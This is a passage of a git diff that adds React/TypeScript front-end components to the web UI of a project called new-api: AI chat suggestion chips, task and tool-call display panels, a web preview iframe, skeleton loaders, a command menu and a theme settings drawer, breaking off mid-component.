diff --git a/new-api/web/default/src/components/ai-elements/suggestion.tsx b/new-api/web/default/src/components/ai-elements/suggestion.tsx
new file mode 100644
index 0000000..ee5e945
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/suggestion.tsx
@@ -0,0 +1,53 @@
+'use client'
+
+import type { ComponentProps } from 'react'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { ScrollArea, ScrollBar } from '@/components/ui/scroll-area'
+
+export type SuggestionsProps = ComponentProps<typeof ScrollArea>
+
+export const Suggestions = ({
+  className,
+  children,
+  ...props
+}: SuggestionsProps) => (
+  <ScrollArea className='w-full overflow-x-auto whitespace-nowrap' {...props}>
+    <div className={cn('flex w-max flex-nowrap items-center gap-2', className)}>
+      {children}
+    </div>
+    <ScrollBar className='hidden' orientation='horizontal' />
+  </ScrollArea>
+)
+
+export type SuggestionProps = Omit<ComponentProps<typeof Button>, 'onClick'> & {
+  suggestion: string
+  onClick?: (suggestion: string) => void
+}
+
+export const Suggestion = ({
+  suggestion,
+  onClick,
+  className,
+  variant = 'outline',
+  size = 'sm',
+  children,
+  ...props
+}: SuggestionProps) => {
+  const handleClick = () => {
+    onClick?.(suggestion)
+  }
+
+  return (
+    <Button
+      className={cn('cursor-pointer rounded-full px-4', className)}
+      onClick={handleClick}
+      size={size}
+      type='button'
+      variant={variant}
+      {...props}
+    >
+      {children || suggestion}
+    </Button>
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/task.tsx b/new-api/web/default/src/components/ai-elements/task.tsx
new file mode 100644
index 0000000..97851e9
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/task.tsx
@@ -0,0 +1,87 @@
+'use client'
+
+import type { ComponentProps } from 'react'
+import { ChevronDownIcon, SearchIcon } from 'lucide-react'
+import { cn } from '@/lib/utils'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+
+export type TaskItemFileProps = ComponentProps<'div'>
+
+export const TaskItemFile = ({
+  children,
+  className,
+  ...props
+}: TaskItemFileProps) => (
+  <div
+    className={cn(
+      'bg-secondary text-foreground inline-flex items-center gap-1 rounded-md border px-1.5 py-0.5 text-xs',
+      className
+    )}
+    {...props}
+  >
+    {children}
+  </div>
+)
+
+export type TaskItemProps = ComponentProps<'div'>
+
+export const TaskItem = ({ children, className, ...props }: TaskItemProps) => (
+  <div className={cn('text-muted-foreground text-sm', className)} {...props}>
+    {children}
+  </div>
+)
+
+export type TaskProps = ComponentProps<typeof Collapsible>
+
+export const Task = ({
+  defaultOpen = true,
+  className,
+  ...props
+}: TaskProps) => (
+  <Collapsible className={cn(className)} defaultOpen={defaultOpen} {...props} />
+)
+
+export type TaskTriggerProps = ComponentProps<typeof CollapsibleTrigger> & {
+  title: string
+}
+
+export const TaskTrigger = ({
+  children,
+  className,
+  title,
+  ...props
+}: TaskTriggerProps) => (
+  <CollapsibleTrigger asChild className={cn('group', className)} {...props}>
+    {children ?? (
+      <div className='text-muted-foreground hover:text-foreground flex w-full cursor-pointer items-center gap-2 text-sm transition-colors'>
+        <SearchIcon className='size-4' />
+        <p className='text-sm'>{title}</p>
+        <ChevronDownIcon className='size-4 transition-transform group-data-[state=open]:rotate-180' />
+      </div>
+    )}
+  </CollapsibleTrigger>
+)
+
+export type TaskContentProps = ComponentProps<typeof CollapsibleContent>
+
+export const TaskContent = ({
+  children,
+  className,
+  ...props
+}: TaskContentProps) => (
+  <CollapsibleContent
+    className={cn(
+      'data-[state=closed]:fade-out-0 data-[state=closed]:slide-out-to-top-2 data-[state=open]:slide-in-from-top-2 text-popover-foreground data-[state=closed]:animate-out data-[state=open]:animate-in outline-none',
+      className
+    )}
+    {...props}
+  >
+    <div className='border-muted mt-4 space-y-2 border-l-2 pl-4'>
+      {children}
+    </div>
+  </CollapsibleContent>
+)
diff --git a/new-api/web/default/src/components/ai-elements/tool.tsx b/new-api/web/default/src/components/ai-elements/tool.tsx
new file mode 100644
index 0000000..ed2ea40
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/tool.tsx
@@ -0,0 +1,173 @@
+'use client'
+
+import { type ComponentProps, isValidElement, type ReactNode } from 'react'
+import type { ToolUIPart } from 'ai'
+import {
+  CheckCircleIcon,
+  ChevronDownIcon,
+  CircleIcon,
+  ClockIcon,
+  WrenchIcon,
+  XCircleIcon,
+} from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { cn } from '@/lib/utils'
+import { Badge } from '@/components/ui/badge'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import { CodeBlock } from './code-block'
+
+// Workaround for missing types in 'ai' package
+type ExtendedToolState =
+  | ToolUIPart['state']
+  | 'approval-requested'
+  | 'approval-responded'
+  | 'output-denied'
+
+export type ToolProps = ComponentProps<typeof Collapsible>
+
+export const Tool = ({ className, ...props }: ToolProps) => (
+  <Collapsible
+    className={cn('not-prose mb-4 w-full rounded-md border', className)}
+    {...props}
+  />
+)
+
+export type ToolHeaderProps = {
+  title?: string
+  type: ToolUIPart['type']
+  state: ExtendedToolState
+  className?: string
+}
+
+const getStatusBadge = (status: ExtendedToolState) => {
+  const labels: Record<ExtendedToolState, string> = {
+    'input-streaming': 'Pending',
+    'input-available': 'Running',
+    'approval-requested': 'Awaiting Approval',
+    'approval-responded': 'Responded',
+    'output-available': 'Completed',
+    'output-error': 'Error',
+    'output-denied': 'Denied',
+  }
+
+  const icons: Record<ExtendedToolState, ReactNode> = {
+    'input-streaming': <CircleIcon className='size-4' />,
+    'input-available': <ClockIcon className='size-4 animate-pulse' />,
+    'approval-requested': <ClockIcon className='size-4 text-yellow-600' />,
+    'approval-responded': <CheckCircleIcon className='size-4 text-blue-600' />,
+    'output-available': <CheckCircleIcon className='size-4 text-green-600' />,
+    'output-error': <XCircleIcon className='size-4 text-red-600' />,
+    'output-denied': <XCircleIcon className='size-4 text-orange-600' />,
+  }
+
+  return (
+    <Badge className='gap-1.5 rounded-full text-xs' variant='secondary'>
+      {icons[status]}
+      {labels[status]}
+    </Badge>
+  )
+}
+
+export const ToolHeader = ({
+  className,
+  title,
+  type,
+  state,
+  ...props
+}: ToolHeaderProps) => (
+  <CollapsibleTrigger
+    className={cn(
+      'flex w-full items-center justify-between gap-4 p-3',
+      className
+    )}
+    {...props}
+  >
+    <div className='flex items-center gap-2'>
+      <WrenchIcon className='text-muted-foreground size-4' />
+      <span className='text-sm font-medium'>
+        {title ?? type.split('-').slice(1).join('-')}
+      </span>
+      {getStatusBadge(state)}
+    </div>
+    <ChevronDownIcon className='text-muted-foreground size-4 transition-transform group-data-[state=open]:rotate-180' />
+  </CollapsibleTrigger>
+)
+
+export type ToolContentProps = ComponentProps<typeof CollapsibleContent>
+
+export const ToolContent = ({ className, ...props }: ToolContentProps) => (
+  <CollapsibleContent
+    className={cn(
+      'data-[state=closed]:fade-out-0 data-[state=closed]:slide-out-to-top-2 data-[state=open]:slide-in-from-top-2 text-popover-foreground data-[state=closed]:animate-out data-[state=open]:animate-in outline-none',
+      className
+    )}
+    {...props}
+  />
+)
+
+export type ToolInputProps = ComponentProps<'div'> & {
+  input: ToolUIPart['input']
+}
+
+export const ToolInput = ({ className, input, ...props }: ToolInputProps) => {
+  const { t } = useTranslation()
+  return (
+    <div className={cn('space-y-2 overflow-hidden p-4', className)} {...props}>
+      <h4 className='text-muted-foreground text-xs font-medium tracking-wide uppercase'>
+        {t('Parameters')}
+      </h4>
+      <div className='bg-muted/50 rounded-md'>
+        <CodeBlock code={JSON.stringify(input, null, 2)} language='json' />
+      </div>
+    </div>
+  )
+}
+
+export type ToolOutputProps = ComponentProps<'div'> & {
+  output: ToolUIPart['output']
+  errorText: ToolUIPart['errorText']
+}
+
+export const ToolOutput = ({
+  className,
+  output,
+  errorText,
+  ...props
+}: ToolOutputProps) => {
+  if (!(output || errorText)) {
+    return null
+  }
+
+  let Output = <div>{output as ReactNode}</div>
+
+  if (typeof output === 'object' && !isValidElement(output)) {
+    Output = (
+      <CodeBlock code={JSON.stringify(output, null, 2)} language='json' />
+    )
+  } else if (typeof output === 'string') {
+    Output = <CodeBlock code={output} language='json' />
+  }
+
+  return (
+    <div className={cn('space-y-2 p-4', className)} {...props}>
+      <h4 className='text-muted-foreground text-xs font-medium tracking-wide uppercase'>
+        {errorText ? 'Error' : 'Result'}
+      </h4>
+      <div
+        className={cn(
+          'overflow-x-auto rounded-md text-xs [&_table]:w-full',
+          errorText
+            ? 'bg-destructive/10 text-destructive'
+            : 'bg-muted/50 text-foreground'
+        )}
+      >
+        {errorText && <div>{errorText}</div>}
+        {Output}
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/ai-elements/toolbar.tsx b/new-api/web/default/src/components/ai-elements/toolbar.tsx
new file mode 100644
index 0000000..500ae0c
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/toolbar.tsx
@@ -0,0 +1,16 @@
+import type { ComponentProps } from 'react'
+import { NodeToolbar, Position } from '@xyflow/react'
+import { cn } from '@/lib/utils'
+
+type ToolbarProps = ComponentProps<typeof NodeToolbar>
+
+export const Toolbar = ({ className, ...props }: ToolbarProps) => (
+  <NodeToolbar
+    className={cn(
+      'bg-background flex items-center gap-1 rounded-sm border p-1.5',
+      className
+    )}
+    position={Position.Bottom}
+    {...props}
+  />
+)
diff --git a/new-api/web/default/src/components/ai-elements/web-preview.tsx b/new-api/web/default/src/components/ai-elements/web-preview.tsx
new file mode 100644
index 0000000..97f0613
--- /dev/null
+++ b/new-api/web/default/src/components/ai-elements/web-preview.tsx
@@ -0,0 +1,274 @@
+'use client'
+
+import {
+  type ComponentProps,
+  createContext,
+  type ReactNode,
+  useContext,
+  useEffect,
+  useState,
+} from 'react'
+import { ChevronDownIcon } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import dayjs from '@/lib/dayjs'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import { Input } from '@/components/ui/input'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipProvider,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+
+export type WebPreviewContextValue = {
+  url: string
+  setUrl: (url: string) => void
+  consoleOpen: boolean
+  setConsoleOpen: (open: boolean) => void
+}
+
+const WebPreviewContext = createContext<WebPreviewContextValue | null>(null)
+
+const useWebPreview = () => {
+  const context = useContext(WebPreviewContext)
+  if (!context) {
+    throw new Error('WebPreview components must be used within a WebPreview')
+  }
+  return context
+}
+
+export type WebPreviewProps = ComponentProps<'div'> & {
+  defaultUrl?: string
+  onUrlChange?: (url: string) => void
+}
+
+export const WebPreview = ({
+  className,
+  children,
+  defaultUrl = '',
+  onUrlChange,
+  ...props
+}: WebPreviewProps) => {
+  const [url, setUrl] = useState(defaultUrl)
+  const [consoleOpen, setConsoleOpen] = useState(false)
+
+  const handleUrlChange = (newUrl: string) => {
+    setUrl(newUrl)
+    onUrlChange?.(newUrl)
+  }
+
+  const contextValue: WebPreviewContextValue = {
+    url,
+    setUrl: handleUrlChange,
+    consoleOpen,
+    setConsoleOpen,
+  }
+
+  return (
+    <WebPreviewContext.Provider value={contextValue}>
+      <div
+        className={cn(
+          'bg-card flex size-full flex-col rounded-lg border',
+          className
+        )}
+        {...props}
+      >
+        {children}
+      </div>
+    </WebPreviewContext.Provider>
+  )
+}
+
+export type WebPreviewNavigationProps = ComponentProps<'div'>
+
+export const WebPreviewNavigation = ({
+  className,
+  children,
+  ...props
+}: WebPreviewNavigationProps) => (
+  <div
+    className={cn('flex items-center gap-1 border-b p-2', className)}
+    {...props}
+  >
+    {children}
+  </div>
+)
+
+export type WebPreviewNavigationButtonProps = ComponentProps<typeof Button> & {
+  tooltip?: string
+}
+
+export const WebPreviewNavigationButton = ({
+  onClick,
+  disabled,
+  tooltip,
+  children,
+  ...props
+}: WebPreviewNavigationButtonProps) => (
+  <TooltipProvider>
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <Button
+          className='hover:text-foreground h-8 w-8 p-0'
+          disabled={disabled}
+          onClick={onClick}
+          size='sm'
+          variant='ghost'
+          {...props}
+        >
+          {children}
+        </Button>
+      </TooltipTrigger>
+      <TooltipContent>
+        <p>{tooltip}</p>
+      </TooltipContent>
+    </Tooltip>
+  </TooltipProvider>
+)
+
+export type WebPreviewUrlProps = ComponentProps<typeof Input>
+
+export const WebPreviewUrl = ({
+  value,
+  onChange,
+  onKeyDown,
+  ...props
+}: WebPreviewUrlProps) => {
+  const { t } = useTranslation()
+  const { url, setUrl } = useWebPreview()
+  const [inputValue, setInputValue] = useState(url)
+
+  // Sync input value with context URL when it changes externally
+  useEffect(() => {
+    setInputValue(url)
+  }, [url])
+
+  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {
+    setInputValue(event.target.value)
+    onChange?.(event)
+  }
+
+  const handleKeyDown = (event: React.KeyboardEvent<HTMLInputElement>) => {
+    if (event.key === 'Enter') {
+      const target = event.target as HTMLInputElement
+      setUrl(target.value)
+    }
+    onKeyDown?.(event)
+  }
+
+  return (
+    <Input
+      className='h-8 flex-1 text-sm'
+      onChange={onChange ?? handleChange}
+      onKeyDown={handleKeyDown}
+      placeholder={t('Enter URL...')}
+      value={value ?? inputValue}
+      {...props}
+    />
+  )
+}
+
+export type WebPreviewBodyProps = ComponentProps<'iframe'> & {
+  loading?: ReactNode
+}
+
+export const WebPreviewBody = ({
+  className,
+  loading,
+  src,
+  ...props
+}: WebPreviewBodyProps) => {
+  const { t } = useTranslation()
+  const { url } = useWebPreview()
+
+  return (
+    <div className='flex-1'>
+      <iframe
+        className={cn('size-full', className)}
+        sandbox='allow-scripts allow-same-origin allow-forms allow-popups allow-presentation'
+        src={(src ?? url) || undefined}
+        title={t('Preview')}
+        {...props}
+      />
+      {loading}
+    </div>
+  )
+}
+
+export type WebPreviewConsoleProps = ComponentProps<'div'> & {
+  logs?: Array<{
+    level: 'log' | 'warn' | 'error'
+    message: string
+    timestamp: Date
+  }>
+}
+
+export const WebPreviewConsole = ({
+  className,
+  logs = [],
+  children,
+  ...props
+}: WebPreviewConsoleProps) => {
+  const { t } = useTranslation()
+  const { consoleOpen, setConsoleOpen } = useWebPreview()
+
+  return (
+    <Collapsible
+      className={cn('bg-muted/50 border-t font-mono text-sm', className)}
+      onOpenChange={setConsoleOpen}
+      open={consoleOpen}
+      {...props}
+    >
+      <CollapsibleTrigger asChild>
+        <Button
+          className='hover:bg-muted/50 flex w-full items-center justify-between p-4 text-left font-medium'
+          variant='ghost'
+        >
+          {t('Console')}
+          <ChevronDownIcon
+            className={cn(
+              'h-4 w-4 transition-transform duration-200',
+              consoleOpen && 'rotate-180'
+            )}
+          />
+        </Button>
+      </CollapsibleTrigger>
+      <CollapsibleContent
+        className={cn(
+          'px-4 pb-4',
+          'data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 data-[state=closed]:animate-out data-[state=open]:animate-in outline-none'
+        )}
+      >
+        <div className='max-h-48 space-y-1 overflow-y-auto'>
+          {logs.length === 0 ? (
+            <p className='text-muted-foreground'>{t('No console output')}</p>
+          ) : (
+            logs.map((log, index) => (
+              <div
+                className={cn(
+                  'text-xs',
+                  log.level === 'error' && 'text-destructive',
+                  log.level === 'warn' && 'text-yellow-600',
+                  log.level === 'log' && 'text-foreground'
+                )}
+                key={`${log.timestamp.getTime()}-${index}`}
+              >
+                <span className='text-muted-foreground'>
+                  {dayjs(log.timestamp).format('HH:mm:ss')}
+                </span>{' '}
+                {log.message}
+              </div>
+            ))
+          )}
+          {children}
+        </div>
+      </CollapsibleContent>
+    </Collapsible>
+  )
+}
diff --git a/new-api/web/default/src/components/animate-in-view.tsx b/new-api/web/default/src/components/animate-in-view.tsx
new file mode 100644
index 0000000..d4deb2b
--- /dev/null
+++ b/new-api/web/default/src/components/animate-in-view.tsx
@@ -0,0 +1,66 @@
+import { useRef, useEffect, type ReactNode } from 'react'
+import { cn } from '@/lib/utils'
+
+interface AnimateInViewProps {
+  children: ReactNode
+  className?: string
+  delay?: number
+  threshold?: number
+  animation?: 'fade-up' | 'fade-in' | 'scale-in' | 'fade-left' | 'fade-right'
+  once?: boolean
+  as?: 'div' | 'section' | 'li' | 'span'
+}
+
+export function AnimateInView(props: AnimateInViewProps) {
+  const {
+    as: Tag = 'div',
+    delay = 0,
+    threshold = 0.15,
+    animation = 'fade-up',
+    once = true,
+  } = props
+
+  const ref = useRef<HTMLDivElement>(null)
+
+  useEffect(() => {
+    const el = ref.current
+    if (!el) return
+
+    const mq = window.matchMedia('(prefers-reduced-motion: reduce)')
+    if (mq.matches) {
+      el.classList.remove('opacity-0')
+      el.classList.add(`landing-animate-${animation}`)
+      return
+    }
+
+    const observer = new IntersectionObserver(
+      ([entry]) => {
+        if (entry.isIntersecting) {
+          el.classList.remove('opacity-0')
+          el.classList.add(`landing-animate-${animation}`)
+          if (once) observer.unobserve(el)
+        } else if (!once) {
+          el.classList.add('opacity-0')
+          el.classList.remove(`landing-animate-${animation}`)
+        }
+      },
+      { threshold, rootMargin: '0px 0px -40px 0px' }
+    )
+
+    observer.observe(el)
+    return () => observer.disconnect()
+  }, [threshold, once, animation])
+
+  return (
+    <Tag
+      ref={ref as never}
+      className={cn(
+        'opacity-0 will-change-[transform,opacity]',
+        props.className
+      )}
+      style={{ animationDelay: delay ? `${delay}ms` : undefined }}
+    >
+      {props.children}
+    </Tag>
+  )
+}
diff --git a/new-api/web/default/src/components/auto-skeleton.tsx b/new-api/web/default/src/components/auto-skeleton.tsx
new file mode 100644
index 0000000..f647937
--- /dev/null
+++ b/new-api/web/default/src/components/auto-skeleton.tsx
@@ -0,0 +1,62 @@
+import type { ReactNode } from 'react'
+import type { UseQueryResult } from '@tanstack/react-query'
+import { AutoSkeleton } from 'auto-skeleton-react'
+import { ErrorState } from '@/components/error-state'
+
+interface ContentSkeletonProps {
+  loading: boolean
+  children: ReactNode
+  borderRadius?: number
+  minTextHeight?: number
+  maxDepth?: number
+  className?: string
+}
+
+export function ContentSkeleton(props: ContentSkeletonProps) {
+  return (
+    <div className={props.className}>
+      <AutoSkeleton
+        loading={props.loading}
+        config={{
+          animation: 'none',
+          baseColor: 'var(--skeleton-base)',
+          highlightColor: 'var(--skeleton-highlight)',
+          borderRadius: props.borderRadius ?? 6,
+          minTextHeight: props.minTextHeight ?? 14,
+          maxDepth: props.maxDepth ?? 10,
+        }}
+      >
+        {props.children}
+      </AutoSkeleton>
+    </div>
+  )
+}
+
+interface QuerySkeletonProps {
+  query: UseQueryResult<unknown, unknown>
+  children: ReactNode
+  className?: string
+  errorTitle?: string
+  errorDescription?: string
+}
+
+export function QuerySkeleton(props: QuerySkeletonProps) {
+  if (props.query.isError) {
+    return (
+      <ErrorState
+        title={props.errorTitle}
+        description={props.errorDescription}
+        onRetry={() => props.query.refetch()}
+      />
+    )
+  }
+
+  return (
+    <ContentSkeleton
+      loading={props.query.isLoading}
+      className={props.className}
+    >
+      {props.children}
+    </ContentSkeleton>
+  )
+}
diff --git a/new-api/web/default/src/components/coming-soon.tsx b/new-api/web/default/src/components/coming-soon.tsx
new file mode 100644
index 0000000..76ece85
--- /dev/null
+++ b/new-api/web/default/src/components/coming-soon.tsx
@@ -0,0 +1,20 @@
+import { Telescope } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+
+export function ComingSoon() {
+  const { t } = useTranslation()
+  return (
+    <div className='h-svh'>
+      <div className='m-auto flex h-full w-full flex-col items-center justify-center gap-2'>
+        <Telescope size={72} />
+        <h1 className='text-4xl leading-tight font-bold'>
+          {t('Coming Soon!')}
+        </h1>
+        <p className='text-muted-foreground text-center'>
+          {t('This page has not been created yet.')} <br />
+          {t('Stay tuned though!')}
+        </p>
+      </div>
+    </div>
+  )
+}
diff --git a/new-api/web/default/src/components/command-menu.tsx b/new-api/web/default/src/components/command-menu.tsx
new file mode 100644
index 0000000..74cb4c5
--- /dev/null
+++ b/new-api/web/default/src/components/command-menu.tsx
@@ -0,0 +1,99 @@
+import React from 'react'
+import { useLocation, useNavigate } from '@tanstack/react-router'
+import { ArrowRight, ChevronRight, Laptop, Moon, Sun } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useSearch } from '@/context/search-provider'
+import { useTheme } from '@/context/theme-provider'
+import { useSidebarData } from '@/hooks/use-sidebar-data'
+import {
+  CommandDialog,
+  CommandEmpty,
+  CommandGroup,
+  CommandInput,
+  CommandItem,
+  CommandList,
+  CommandSeparator,
+} from '@/components/ui/command'
+import { getNavGroupsForPath } from './layout/lib/workspace-registry'
+import { ScrollArea } from './ui/scroll-area'
+
+export function CommandMenu() {
+  const { t } = useTranslation()
+  const navigate = useNavigate()
+  const { setTheme } = useTheme()
+  const { open, setOpen } = useSearch()
+  const { pathname } = useLocation()
+  const sidebarData = useSidebarData()
+
+  // 根据当前路径从工作区注册表获取对应的侧边栏配置
+  const navGroups = getNavGroupsForPath(pathname, t) || sidebarData.navGroups
+
+  const runCommand = React.useCallback(
+    (command: () => unknown) => {
+      setOpen(false)
+      command()
+    },
+    [setOpen]
+  )
+
+  return (
+    <CommandDialog modal open={open} onOpenChange={setOpen}>
+      <CommandInput placeholder={t('Type a command or search...')} />
+      <CommandList>
+        <ScrollArea type='hover' className='h-72 pe-1'>
+          <CommandEmpty>{t('No results found.')}</CommandEmpty>
+          {navGroups.map((group) => (
+            <CommandGroup key={group.id || group.title} heading={group.title}>
+              {group.items.map((navItem, i) => {
+                if (navItem.url)
+                  return (
+                    <CommandItem
+                      key={`${navItem.url}-${i}`}
+                      value={navItem.title}
+                      onSelect={() => {
+                        runCommand(() => navigate({ to: navItem.url }))
+                      }}
+                    >
+                      <div className='flex size-4 items-center justify-center'>
+                        <ArrowRight className='text-muted-foreground/80 size-2' />
+                      </div>
+                      {navItem.title}
+                    </CommandItem>
+                  )
+
+                return navItem.items?.map((subItem, i) => (
+                  <CommandItem
+                    key={`${navItem.title}-${subItem.url}-${i}`}
+                    value={`${navItem.title}-${subItem.url}`}
+                    onSelect={() => {
+                      runCommand(() => navigate({ to: subItem.url }))
+                    }}
+                  >
+                    <div className='flex size-4 items-center justify-center'>
+                      <ArrowRight className='text-muted-foreground/80 size-2' />
+                    </div>
+                    {navItem.title} <ChevronRight /> {subItem.title}
+                  </CommandItem>
+                ))
+              })}
+            </CommandGroup>
+          ))}
+          <CommandSeparator />
+          <CommandGroup heading='Theme'>
+            <CommandItem onSelect={() => runCommand(() => setTheme('light'))}>
+              <Sun /> <span>{t('Light')}</span>
+            </CommandItem>
+            <CommandItem onSelect={() => runCommand(() => setTheme('dark'))}>
+              <Moon className='scale-90' />
+              <span>{t('Dark')}</span>
+            </CommandItem>
+            <CommandItem onSelect={() => runCommand(() => setTheme('system'))}>
+              <Laptop />
+              <span>{t('System')}</span>
+            </CommandItem>
+          </CommandGroup>
+        </ScrollArea>
+      </CommandList>
+    </CommandDialog>
+  )
+}
diff --git a/new-api/web/default/src/components/config-drawer.tsx b/new-api/web/default/src/components/config-drawer.tsx
new file mode 100644
index 0000000..c516db3
--- /dev/null
+++ b/new-api/web/default/src/components/config-drawer.tsx
@@ -0,0 +1,363 @@
+import { type SVGProps } from 'react'
+import { Root as Radio, Item } from '@radix-ui/react-radio-group'
+import { CircleCheck, RotateCcw, Palette } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { IconDir } from '@/assets/custom/icon-dir'
+import { IconLayoutCompact } from '@/assets/custom/icon-layout-compact'
+import { IconLayoutDefault } from '@/assets/custom/icon-layout-default'
+import { IconLayoutFull } from '@/assets/custom/icon-layout-full'
+import { IconSidebarFloating } from '@/assets/custom/icon-sidebar-floating'
+import { IconSidebarInset } from '@/assets/custom/icon-sidebar-inset'
+import { IconSidebarSidebar } from '@/assets/custom/icon-sidebar-sidebar'
+import { IconThemeDark } from '@/assets/custom/icon-theme-dark'
+import { IconThemeLight } from '@/assets/custom/icon-theme-light'
+import { IconThemeSystem } from '@/assets/custom/icon-theme-system'
+import { cn } from '@/lib/utils'
+import { useDirection } from '@/context/direction-provider'
+import { type Collapsible, useLayout } from '@/context/layout-provider'
+import { useTheme } from '@/context/theme-provider'
+import { Button } from '@/components/ui/button'
+import {
+  Sheet,
+  SheetContent,
+  SheetDescription,
+  SheetFooter,
+  SheetHeader,
+  SheetTitle,
+  SheetTrigger,
+} from '@/components/ui/sheet'
+import { useSidebar } from './ui/sidebar'
+
+export function ConfigDrawer() {
+  const { t } = useTranslation()
+  const { setOpen } = useSidebar()
+  const { resetDir } = useDirection()
+  const { resetTheme } = useTheme()
+  const { resetLayout } = useLayout()
+
+  const handleReset = () => {
+    setOpen(true)
+    resetDir()
+    resetTheme()
+    resetLayout()
+  }
+
+  return (
+    <Sheet>
+      <SheetTrigger asChild>
+        <Button
+          size='icon'
+          variant='ghost'
+          aria-label={t('Open theme settings')}
+          aria-describedby='config-drawer-description'
+          className='rounded-full max-md:hidden'
+        >
+          <Palette className='size-[1.2rem]' aria-hidden='true' />
+        </Button>
+      </SheetTrigger>
+      <SheetContent className='flex w-full flex-col sm:max-w-md'>
+        <SheetHeader className='pb-0 text-start'>
+          <SheetTitle>{t('Theme Settings')}</SheetTitle>
+          <SheetDescription id='config-drawer-description'>
+            {t('Adjust the appearance and layout to suit your preferences.')}
+          </SheetDescription>
+        </SheetHeader>
+        <div className='space-y-6 overflow-y-auto px-4'>
+          <ThemeConfig />
+          <SidebarConfig />
+          <LayoutConfig />
+          <DirConfig />
+        </div>
+        <SheetFooter className='gap-2'>
+          <Button
+            variant='destructive'
+            onClick={handleReset}
+            aria-label={t('Reset all settings to default values')}
+          >
+            {t('Reset')}
+          </Button>
+        </SheetFooter>
+      </SheetContent>
+    </Sheet>
+  )
+}
+
+function SectionTitle({
+  title,
+  showReset = false,
+  onReset,
+  className,
+}: {
+  title: string
+  showReset?: boolean
+  onReset?: () => void
+  className?: string
+}) {
+  return (
+    <div
+      className={cn(
+        'text-muted-foreground mb-2 flex items-center gap-2 text-sm font-semibold',
+        className
+      )}
+    >
+      {title}
+      {showReset && onReset && (
+        <Button
+          size='icon'
+          variant='secondary'
+          className='size-4 rounded-full'
+          onClick={onReset}
+          aria-label='Reset'
+        >
+          <RotateCcw className='size-3' aria-hidden='true' />
+        </Button>
+      )}
+    </div>
+  )
+}
+
+function RadioGroupItem({
+  item,
+  isTheme = false,
+}: {
+  item: {
+    value: string
+    label: string
+    icon: (props: SVGProps<SVGSVGElement>) => React.ReactElement
+  }
+  isTheme?: boolean
+}) {
+  return (
+    <Item
+      value={item.value}
+      className={cn('group outline-none', 'transition duration-200 ease-in')}
+      aria-label={`Select ${item.label.toLowerCase()}`}
+      aria-describedby={`${item.value}-description`}
+    >
+      <div
+        className={cn(
+          'ring-border relative rounded-[6px] ring-[1px]',
+          'group-data-[state=checked]:ring-primary group-data-[state=checked]:shadow-2xl',
+          'group-focus-visible:ring-2'
+        )}
+        role='img'
+        aria-hidden='false'
+        aria-label={`${item.label} option preview`}
+      >
+        <CircleCheck
+          className={cn(
+            'fill-primary size-6 stroke-white',
+            'group-data-[state=unchecked]:hidden',
+            'absolute top-0 right-0 translate-x-1/2 -translate-y-1/2'
+          )}
+          aria-hidden='true'
+        />
+        <item.icon
+          className={cn(
+            !isTheme &&
+              'stroke-primary fill-primary group-data-[state=unchecked]:stroke-muted-foreground group-data-[state=unchecked]:fill-muted-foreground'
+          )}
+          aria-hidden='true'
+        />
+      </div>
+      <div
+        className='mt-1 text-xs'
+        id={`${item.value}-description`}
+        aria-live='polite'
+      >
+        {item.label}
+      </div>
+    </Item>
+  )
+}
+
+function ThemeConfig() {
+  const { t } = useTranslation()
+  const { defaultTheme, theme, setTheme } = useTheme()
+  return (
+    <div>
+      <SectionTitle
+        title={t('Theme')}
+        showReset={theme !== defaultTheme}
+        onReset={() => setTheme(defaultTheme)}
+      />
+      <Radio
+        value={theme}
+        onValueChange={setTheme}
+        className='grid w-full max-w-md grid-cols-3 gap-4'
+        aria-label={t('Select theme preference')}
+        aria-describedby='theme-description'
+      >
+        {[
+          {
+            value: 'system',
+            label: 'System',
+            icon: IconThemeSystem,
+          },
+          {
+            value: 'light',
+            label: 'Light',
+            icon: IconThemeLight,
+          },
+          {
+            value: 'dark',
+            label: 'Dark',
+            icon: IconThemeDark,
+          },
+        ].map((item) => (
+          <RadioGroupItem key={item.value} item={item} isTheme />
+        ))}
+      </Radio>
+      <div id='theme-description' className='sr-only'>
+        {t('Choose between system preference, light mode, or dark mode')}
+      </div>
+    </div>
+  )
+}
+
+function SidebarConfig() {
+  const { t } = useTranslation()
+  const { defaultVariant, variant, setVariant } = useLayout()
+  return (
+    <div className='max-md:hidden'>
+      <SectionTitle
+        title={t('Sidebar')}
+        showReset={defaultVariant !== variant}
+        onReset={() => setVariant(defaultVariant)}
+      />
+      <Radio
+        value={variant}
+        onValueChange={setVariant}
+        className='grid w-full max-w-md grid-cols-3 gap-4'
+        aria-label={t('Select sidebar style')}
+        aria-describedby='sidebar-description'
+      >
+        {[
+          {
+            value: 'inset',
+            label: 'Inset',
+            icon: IconSidebarInset,
+          },
+          {
+            value: 'floating',
+            label: 'Floating',
+            icon: IconSidebarFloating,
+          },
+          {
+            value: 'sidebar',
+            label: 'Sidebar',
+            icon: IconSidebarSidebar,
+          },
+        ].map((item) => (
+          <RadioGroupItem key={item.value} item={item} />
+        ))}
+      </Radio>
